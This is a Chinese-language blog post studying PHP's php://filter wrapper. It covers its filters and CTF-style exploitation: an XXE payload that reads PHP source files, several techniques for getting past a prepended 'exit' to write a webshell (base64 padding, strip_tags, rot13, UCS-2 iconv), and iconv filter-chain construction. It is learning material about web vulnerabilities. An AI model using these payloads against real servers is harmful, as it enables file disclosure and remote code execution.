php-filter学习

本来是想单独对php-filter chain的convert.iconv 字符转换研究的,但是突然翻到p神文章和其他文章,故想进一步学习一下。

参考:php://filter过滤器学习记录 | tyskillのBlog

参考:谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)

参考:FilterChain攻击解析及利用

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。


php://filter的过滤器的作用的理解:

参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(`
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 字符串过滤器
string.rot13 //rot13转换
string.toupper //将字符大写
string.tolower //将字符小写
string.strip_tags //去除空字符、HTML和PHP标记后的结果

# 转换过滤器
convert.base64-encode //base64编码
convert.base64-decode //base64解码
convert.quoted-printable-encode //quoted-printable编码
convert.quoted-printable-decode //quoted-printable解码
convert.iconv //实现任意两种编码之间的转换

# 压缩过滤器
zlib.deflate //压缩过滤器
zlib.inflate //解压过滤器
bzip2.compress //压缩过滤器
bzip2.decompress //解压过滤器

# 加密过滤器
mcrypt.* //加密过滤器
mdecrypt.* //解密过滤器

字符串过滤器

string.rot13

(自 PHP 4.3.0 起)对字符进行简单的单表替换,将字母表的后13位字母替换前面的13位字母,遇到其他的字符直接跳过。

string.toupper、string.tolower

(自 PHP 5.0.0 起)字符串大小写转换

string.strip_tags

string.strip_tags返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。本特性已自 PHP 7.3.0 起废弃

注意:HTML标签和 PHP 标签<?代码?>也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。

转换过滤器

convert.base64-encode

对给定字符串进行base64编码

convert.base64-decode

对给定base64编码内容解码

注意:

1、base64解码时是4bytes一组,因此将目标字符解码成乱码时需手动添加字符凑够4的倍数

2、convert.base64-decode过滤器读文件时会将一些非base64字符给过滤掉后再进行decode,和一些过滤器组合可以用来删除文件内容

convert.quoted-printable-encode

将 8-bit 字符串转换成 quoted-printable 字符串

8-bit字符串:1000000011111111,即ASCII值在128255之间的字符串

quoted-printable 字符串:=十六进制形式,如=42为B

convert.quoted-printable-decode

将 quoted-printable 字符串转换为 8-bit 字符串

注意:可以转化从=00到=FF,即ASCII值从0~255之间的字符串

convert.iconv

字符串按要求的字符编码来转换

使用格式:convert.iconv.当前编码.目标编码

支持的编码方式

* 表示该编码也可以在正则表达式中使用。 ** 表示该编码自 PHP 5.4.0 始可用。

压缩过滤器

zlib.deflate压缩、zlib.inflate解压

自 PHP 5.1.0 起,在激活 zlib的前提下可用。也可以通过安装来自 » PECL» zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用

相对于压缩封装协议可以在本地文件系统中 创建 gzip 和 bz2 兼容文件,但不可以在网络的流中提供通用压缩的意思,也不可以将一个非压缩的流转换成一个压缩流。压缩过滤器zlib.\*可以在任何时候应用于任何流资源

注意: 压缩过滤器不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。

bzip2.compress、bzip2.decompress

自PHP 5.1.0 起,在激活 bz2支持的前提下可用。也可以通过安装来自 » PECL» bz2_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中不可用。

工作方式与上面相同

加密过滤器

mcrypt.、mdecrypt.

mcrypt.*mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法,格式为 mcrypt.ciphername,其中 ciphername是密码的名字,将被传递给 mcrypt_module_open()

过滤器参数

参数 是否必须 默认值 取值举例
mode 可选 cbc cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir 可选 ini_get(‘mcrypt.algorithms_dir’) algorithms 模块的目录
modes_dir 可选 ini_get(‘mcrypt.modes_dir’) modes 模块的目录
iv 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定
key 必须 N/A 典型为 8,16 或 32 字节的二进制数据。根据密码而定

php://filter在XXE中的应用:

php://filter经常出现在XXE漏洞中,因为XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。因为PHP是基于标签的脚本语言:<?php ?>,这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,其中的内容(如特殊字符)又有可能和标准XML冲突,所以导致出错。

所以,为了读取包含有敏感信息的PHP等源文件,我们就要先将”可能引发冲突的PHP代码”编码一遍,用到php://filter。

php://filter是PHP语言中特有的协议流,作用是作为一个”中间流”来处理其他流。比如,我们可以将如下一行代码将POST内容转换成base-64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input");

所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。

我们可以使用的是php://filter/read=convert.base64-encode/resource=./xxe.php

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ELEMENT root ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php">
]>
<root>
<methodname>&xxe;</methodname>
</root>

利用php://filter绕过die或exit

利用base64_decode特性

1
2
3
4
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。

但是这里的$_POST['filename']是可控制协议的,我们即可使用php://filter流的base64-decode方法,将$content解码,利用php base_decode函数特性去除”死亡exit”。

在base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

1
2
3
<?php
$_GET['txt']=preg_replace('|[^a-z0-9A-Z+/]|s','',$_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit; ?>以后,我们可以使用php://filter/write=convert.base64-decode来首先对其解码。在解码过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所有给他增加一个”a”一共8个字符。”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了

此处我用POST传参没反应,故改为GET

1
2
3
4
5
<?php
highlight_file(__FILE__);
$content = '<?php exit; ?>';
$content .= $_GET['txt'];
file_put_contents($_GET['filename'], $content);

payload为:

1
filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==

结果:

利用字符串操作方法

除了直接使用base64特性的方法以外,我们还可以使用strip_tags函数去除<?php exit; ?>,php://filter也是支持这个方法的。

使用php://filter/read=string.strip_tags/resource=php://input

在文件中写入echo readfile('php://filter/read=string.strip_tags/resource=php://input');可以查看效果:

可以看到<?php exit; ?>被去除掉了,但是如果我们想写一个webshell同样会被去除。

还好php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。”死亡exit”在第一步被去除,webshell在第二步被还原。

利用rot13编码

在不开起short_open_tag的情况下,可以实现

对webshell进行rot13编码ROT13加密/解密

写入webshell

查看shell111.php

注意:只有在短标签未开起情况下<?cuc rkvg; ?>才不会被识别为php。

利用convert.iconv.*

<?php exit();字符一共13位

1
2
3
4
# usc-2: 对目标字符串进行2位一反转
?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shel3.php&txt=?<hp phpipfn(o;)
# usc-4: 对目标字符串进行4位一反转
?filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell3.php&txt=?<hp phpipfn(o;)

写入

查看


filter chain构造与convert.iconv 字符转换

通过iconv -l可以查看本地的iconv编码:

这里我们以原理核心 convert.iconvCSISO2022KR为例子

特性一(去除不可见字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$content1=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,bbb');
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

运行结果:

经过从UTF-8->CSISO2022KR后,bbb变成七个字节,但是只显示了三个b,因为剩下还有几个不可见字符,我们把下面的十六进制转换为文本16进制转换

可以看到输出的是$)Cbbb

但是由于base-64的特性,将这串字符base-64解码后,$)作为无效字符将会被删掉,解码得到的’ ��’就是由Cbbb解码得到的,证明$)确实被删除。

我们再对解码后的字符串用base-64加密后则会得到Cbbb

利用特性一,我们可以构造一个字母C并且拼接到bbb之前。

特性二(连续可连接性)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$content1=file_get_contents("php://filter/convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4/resource=data://,bbb");
$content2=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
$content3=file_get_contents('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode/resource=data://,bbb');
var_dump($content1);
var_dump(bin2hex($content1));
echo "=========================================="."\n";
var_dump($content2);
var_dump(bin2hex($content2));
echo "=========================================="."\n";
var_dump($content3);
var_dump(bin2hex($content3));
?>

输出结果:

$content1中构造出了字符1$content2是我们特性一中构造的字符C,第三条输出$content3结果是在第二条结果的过滤器基础上加上了第一条的过滤器,得出的结果就是构造出的"1"在第一位,然后其他的往后推移了一位,这样就把构造出的1C连接在了一起,如果我们能构造26个字母和所有数字,就可以通过filterchain构造任意语句。

但是如果想要一个一个构造,效率太低,这里有一个php filter chain的脚本可以高效构造字符串。

filter_chain_generator (github.com)

构造语法python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '

其中,php://temp流会创建一个临时文件,用来存写数据。具体获得这个文件名用sys_get_temp_dir()函数,它默认的内容为空

打开py脚本可以看到每个字符对应的编码

生成php filter chain的函数


php-filter学习
http://example.com/2024/07/27/php-filter学习/
作者
piiick
发布于
2024年7月27日
许可协议